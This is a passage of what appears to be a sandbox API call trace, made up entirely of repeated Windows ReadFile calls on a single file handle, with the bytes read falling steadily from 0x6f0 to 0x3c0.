| out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x6f0, lpOverlapped=0x0) returned 1 [0031.804] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x6e8, lpOverlapped=0x0) returned 1 [0031.805] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x6e0, lpOverlapped=0x0) returned 1 [0031.805] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x6d8, lpOverlapped=0x0) returned 1 [0031.805] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x6d0, lpOverlapped=0x0) returned 1 [0031.805] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x6c8, lpOverlapped=0x0) returned 1 [0031.805] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x6c0, lpOverlapped=0x0) returned 1 [0031.805] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x6b8, lpOverlapped=0x0) returned 1 [0031.805] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x6b0, lpOverlapped=0x0) returned 1 [0031.805] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x6a8, lpOverlapped=0x0) returned 1 [0031.805] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x6a0, lpOverlapped=0x0) returned 1 [0031.805] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x698, lpOverlapped=0x0) returned 1 [0031.805] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x690, lpOverlapped=0x0) returned 1 [0031.806] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x688, lpOverlapped=0x0) returned 1 [0031.806] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x680, lpOverlapped=0x0) returned 1 [0031.806] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x678, lpOverlapped=0x0) returned 1 [0031.806] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x670, lpOverlapped=0x0) returned 1 [0031.806] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x668, lpOverlapped=0x0) returned 1 [0031.806] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x660, lpOverlapped=0x0) returned 1 [0031.806] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x658, lpOverlapped=0x0) returned 1 [0031.807] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x650, lpOverlapped=0x0) returned 1 [0031.807] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x648, lpOverlapped=0x0) returned 1 [0031.807] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x640, lpOverlapped=0x0) returned 1 [0031.807] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x638, lpOverlapped=0x0) returned 1 [0031.807] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x630, lpOverlapped=0x0) returned 1 [0031.807] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x628, lpOverlapped=0x0) returned 1 [0031.807] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x620, lpOverlapped=0x0) returned 1 [0031.807] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x618, lpOverlapped=0x0) returned 1 [0031.807] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x610, lpOverlapped=0x0) returned 1 [0031.807] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x608, lpOverlapped=0x0) returned 1 [0031.807] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x600, lpOverlapped=0x0) returned 1 [0031.808] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5f8, lpOverlapped=0x0) returned 1 [0031.808] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5f0, lpOverlapped=0x0) returned 1 [0031.808] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5e8, lpOverlapped=0x0) returned 1 [0031.808] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5e0, lpOverlapped=0x0) returned 1 [0031.808] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5d8, lpOverlapped=0x0) returned 1 [0031.808] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5d0, lpOverlapped=0x0) returned 1 [0031.808] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5c8, lpOverlapped=0x0) returned 1 [0031.808] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5c0, lpOverlapped=0x0) returned 1 [0031.808] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5b8, lpOverlapped=0x0) returned 1 [0031.808] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5b0, lpOverlapped=0x0) returned 1 [0031.808] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5a8, lpOverlapped=0x0) returned 1 [0031.809] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x5a0, lpOverlapped=0x0) returned 1 [0031.809] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x598, lpOverlapped=0x0) returned 1 [0031.809] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x590, lpOverlapped=0x0) returned 1 [0031.809] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x588, lpOverlapped=0x0) returned 1 [0031.809] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x580, lpOverlapped=0x0) returned 1 [0031.809] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x578, lpOverlapped=0x0) returned 1 [0031.809] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x570, lpOverlapped=0x0) returned 1 [0031.809] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x568, lpOverlapped=0x0) returned 1 [0031.809] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x560, lpOverlapped=0x0) returned 1 [0031.809] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x558, lpOverlapped=0x0) returned 1 [0031.809] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x550, lpOverlapped=0x0) returned 1 [0031.810] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x548, lpOverlapped=0x0) returned 1 [0031.810] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x540, lpOverlapped=0x0) returned 1 [0031.810] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x538, lpOverlapped=0x0) returned 1 [0031.810] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x530, lpOverlapped=0x0) returned 1 [0031.810] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x528, lpOverlapped=0x0) returned 1 [0031.810] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x520, lpOverlapped=0x0) returned 1 [0031.810] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x518, lpOverlapped=0x0) returned 1 [0031.810] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x510, lpOverlapped=0x0) returned 1 [0031.810] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x508, lpOverlapped=0x0) returned 1 [0031.810] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x500, lpOverlapped=0x0) returned 1 [0031.810] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4f8, lpOverlapped=0x0) returned 1 [0031.810] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4f0, lpOverlapped=0x0) returned 1 [0031.811] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4e8, lpOverlapped=0x0) returned 1 [0031.811] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4e0, lpOverlapped=0x0) returned 1 [0031.811] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4d8, lpOverlapped=0x0) returned 1 [0031.811] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4d0, lpOverlapped=0x0) returned 1 [0031.811] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4c8, lpOverlapped=0x0) returned 1 [0031.811] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4c0, lpOverlapped=0x0) returned 1 [0031.811] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4b8, lpOverlapped=0x0) returned 1 [0031.811] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4b0, lpOverlapped=0x0) returned 1 [0031.811] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4a8, lpOverlapped=0x0) returned 1 [0031.811] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x4a0, lpOverlapped=0x0) returned 1 [0031.811] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x498, lpOverlapped=0x0) returned 1 [0031.811] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x490, lpOverlapped=0x0) returned 1 [0031.811] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x488, lpOverlapped=0x0) returned 1 [0031.811] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x480, lpOverlapped=0x0) returned 1 [0031.812] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x478, lpOverlapped=0x0) returned 1 [0031.812] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x470, lpOverlapped=0x0) returned 1 [0031.812] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x468, lpOverlapped=0x0) returned 1 [0031.812] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x460, lpOverlapped=0x0) returned 1 [0031.812] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x458, lpOverlapped=0x0) returned 1 [0031.812] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x450, lpOverlapped=0x0) returned 1 [0031.812] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x448, lpOverlapped=0x0) returned 1 [0031.812] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x440, lpOverlapped=0x0) returned 1 [0031.812] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x438, lpOverlapped=0x0) returned 1 [0031.812] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x430, lpOverlapped=0x0) returned 1 [0031.812] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x428, lpOverlapped=0x0) returned 1 [0031.812] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x420, lpOverlapped=0x0) returned 1 [0031.812] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x418, lpOverlapped=0x0) returned 1 [0031.812] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x410, lpOverlapped=0x0) returned 1 [0031.813] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x408, lpOverlapped=0x0) returned 1 [0031.813] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x400, lpOverlapped=0x0) returned 1 [0031.813] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3f8, lpOverlapped=0x0) returned 1 [0031.813] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3f0, lpOverlapped=0x0) returned 1 [0031.813] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3e8, lpOverlapped=0x0) returned 1 [0031.813] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3e0, lpOverlapped=0x0) returned 1 [0031.813] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3d8, lpOverlapped=0x0) returned 1 [0031.813] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3d0, lpOverlapped=0x0) returned 1 [0031.813] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3c8, lpOverlapped=0x0) returned 1 [0031.813] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x3c0, lpOverlapped=0x0) returned 1 [0031.813] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, 